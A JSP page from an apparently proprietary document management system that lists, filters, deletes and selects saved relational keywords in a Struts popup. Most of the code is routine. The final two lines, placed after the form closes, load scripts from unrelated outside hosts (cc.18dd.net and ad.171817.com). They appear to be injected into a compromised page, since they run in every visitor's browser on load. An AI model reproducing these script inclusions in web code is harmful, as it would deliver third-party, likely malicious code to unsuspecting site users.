<%
/*
 * @(#)ListDmsRelationalWord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsRelationalWord.jsp

  This is a ListDmsRelationalWord page.

    @author             Weison Liang
    @company            DCIVision Ltd
    @creation date      04/09/2004
    @version            $Revision: 1.6.6.19 $
*/

%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.io.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsSearchRelationalWordForm" scope="request" class="com.dcivision.dms.web.MaintDmsSearchRelationalWordForm"/>

<html:form type="maintDmsSearchRelationalWordForm" action="dms/MaintDmsSearchRelationalWord" styleClass="form-style-2">

<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsRelationalWordList";
  String      selectedLocation = "";
  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"common.label.select", GlobalConstant.NOT_AVAILABLE},
                            {"dms.relational.word.keyword", "Word"},
                            {"dms.relational.number",""},
                            {"dms.relational.update_date", "UPDATE_DATE"},
                            {"dms.relational.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"dms.relational.word.keyword", "Word"},
                          };

  int     COLUMN_OFFSET = 4;
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  List keywordList = new ArrayList();
  DmsSearchRelationalWordDAObject dmsSearchRelationalWordDAObject =new DmsSearchRelationalWordDAObject(sessionContainer,conn);
  keywordList = dmsSearchRelationalWordDAObject.getKeyWordList();
  String functionType = "dms.relational.word.relational_word";
  String sCurFunctionCode = maintDmsSearchRelationalWordForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintDmsSearchRelationalWordForm.getCurFunctionCode();
   DmsRelationalWord dmsRelationalWord1 = new DmsRelationalWord();
   Integer ID=((AbstractBaseObject)dmsRelationalWord1).getID();
 // try{
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<!-- Form Section Begin -->

<script language="javascript">
<!--
function updateTargetLocation(ID, word) {
  var hiddenField = document.maintDmsSearchRelationalWordForm.selectedID;
  var displayField = document.maintDmsSearchRelationalWordForm.destinationPath;
  var displayStr = displayField.value;

  hiddenField.value = ID;
  displayField.value = word;

  return true;
}

function OptFileSelection(){
  if (document.maintDmsSearchRelationalWordForm.selectedID.value==''){
    alert("<bean:message key='dms.relational.choose_keyword'/>");
    return true;
  }
  var word=document.maintDmsSearchRelationalWordForm.destinationPath.value;
  window.opener.getKeyWord(word);
  window.close();
return(false);

}
function OpDelete(){
    var hasChecked;
  for (var i = 0; i < maintDmsSearchRelationalWordForm.elements.length; i++) {
    if (maintDmsSearchRelationalWordForm.elements[i].name == "basicSelectedID") {
      if (maintDmsSearchRelationalWordForm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }
  if (!hasChecked) {
    alert(MSG_NO_RECORD_SELECTED);
    return(false);
  }
 if(confirm("<bean:message key='dms.relational.message'/>")){
   document.maintDmsSearchRelationalWordForm.action = '<%=request.getContextPath()%>/dms/MaintDmsSearchRelationalWord.do';
   document.maintDmsSearchRelationalWordForm.opMode.value = "<%=GlobalConstant.OP_MODE_LIST_DELETE%>";
  document.maintDmsSearchRelationalWordForm.submit();
   return(false);
 }

}
-->
</script>
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property='formName'/>
<html:hidden property='hiddenFieldName'/>
<html:hidden property='displayFieldName'/>

<div class="popupPanelTitle">
	<bean:message key="dms.label.relational_word_search"/>
</div>

<div class="popupWrapperContainer">

<table width="100%">
	<layout:sectionHeader name="dms.relational.saved_keyword" mandatory="false"/>
</table>

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
        <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" label="common.label.delete" right="D" onClick="return OpDelete()"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType'>
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(maintDmsSearchRelationalWordForm, '${maintDmsSearchRelationalWordForm.sortAttribute}', '${maintDmsSearchRelationalWordForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(maintDmsSearchRelationalWordForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <thead>
  <layout:columnHeader form="maintDmsSearchRelationalWordForm" labelMap="<%=LABEL_MAP%>" editColumn="false" copyColumn="false" sortAttribute="<%=maintDmsSearchRelationalWordForm.getSortAttribute()%>" sortOrder="<%=maintDmsSearchRelationalWordForm.getSortOrder()%>"/>
  </thead>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->

  <logic:iterate id="dmsRelationalWord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsRelationalWord).getID()%>);">

    <td align="center" width="18">
      <% if (sessionContainer.getUserRecordID().equals(((DmsRelationalWord)dmsRelationalWord).getCreatorID())) { %>
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsRelationalWord' property='ID'/>" onclick="return(false);">

      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
      <% } else { %>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      <% } %>
    </td>
    <td align="center" width="40">
    <a href="javascript://" onclick="return updateTargetLocation(<%=((DmsRelationalWord)dmsRelationalWord).getID()%>, '<%=TextUtility.escapeJSString(((DmsRelationalWord)dmsRelationalWord).getWord())%>');" ><html:img src='IconGoBlue16.gif' /></a>
    </td>

    <td align="center" width="250">
      <bean:write name='dmsRelationalWord' property='word'/>

    </td>
     <input type="hidden" name="ID" value="<%=((AbstractBaseObject)dmsRelationalWord).getID()%>">
    <td align="center" width="250">
      <%=dmsSearchRelationalWordDAObject.getNumberOfRelationWord(((DmsRelationalWord)dmsRelationalWord).getID())%>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsRelationalWord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='dmsRelationalWord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="maintDmsSearchRelationalWordForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->
<br>
<table width="100%">
	<layout:sectionHeader name="dms.relational.selected_keyword" mandatory="true"/>
      <tr>
        <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.relational.selected_keyword'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall" >
        <input type="hidden" name="selectedID" value=''>
        <html:text property="destinationPath" size="70" maxlength="255" value='' readonly='true'/>
        </td>
      </tr>
</table>

</div>

<div id="popupPanelBottom">
<div id="buttonSection">
    <html:standardButton label="common.label.confirm" onClick="return OptFileSelection();"/>
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
</div>
</div>

</html:form>
<!-- Form Section End -->
<%//catch(Exception e){}%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>